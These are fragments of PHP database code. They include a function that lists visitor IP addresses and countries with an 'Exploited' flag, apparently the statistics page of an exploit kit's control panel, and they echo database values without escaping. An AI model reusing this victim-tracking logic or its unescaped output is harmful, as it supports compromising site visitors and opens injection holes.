/** * @return CArrayList */ public function getFields() { if (is_null(self::$_fields)) { self::$_fields = new CArrayList(); } if (!self::$_fields->hasElement($this->name)) { $fields = new CArrayList(); $query = new CQuery(); $query->query("DESCRIBE " . $this->name); foreach ($query->execute()->getItems() as $field) { $fields->add($field["Field"], new CDbTableField($field)); } self::$_fields->add($this->name, $fields); } return self::$_fields->getItem($this->name); }
function showVisitorsList() { $cq = new CQuery(); $sql_result = $cq->query("SELECT * FROM `" . $this->sqlSettings['tableVisitorsList'] . "`"); echo <<<HTML \t\t\t\t<table> \t\t\t\t\t<tr> \t\t\t\t\t\t<td class="header">Id</td> \t\t\t\t\t\t<td class="header">Ip Address</td> \t\t\t\t\t\t<td class="header">Country</td> \t\t\t\t\t\t<td class="header">Exploited</td> \t\t\t\t\t</tr> HTML; while ($row = $cq->fetchassoc($sql_result)) { $sql_result2 = $cq->query("SELECT * FROM `" . $this->sqlSettings['dbVisitorsExploits'] . "` WHERE visitor_id ='" . mysql_real_escape_string($row['id']) . "'"); echo "<tr>"; echo "<td>" . $row['id'] . "</td>"; echo "<td>" . $row['ipAddress'] . "</td>"; echo "<td>"; echo $row['country'] . "</td>"; echo "<td>"; if ($row['exploited']) { echo "YES"; } else { echo "NO"; } echo "</td>"; echo "</tr>"; } echo "</table>"; }
/** * Фиксация транзакции */ public function commit() { $query = new CQuery(); $query->query("COMMIT;")->execute(); }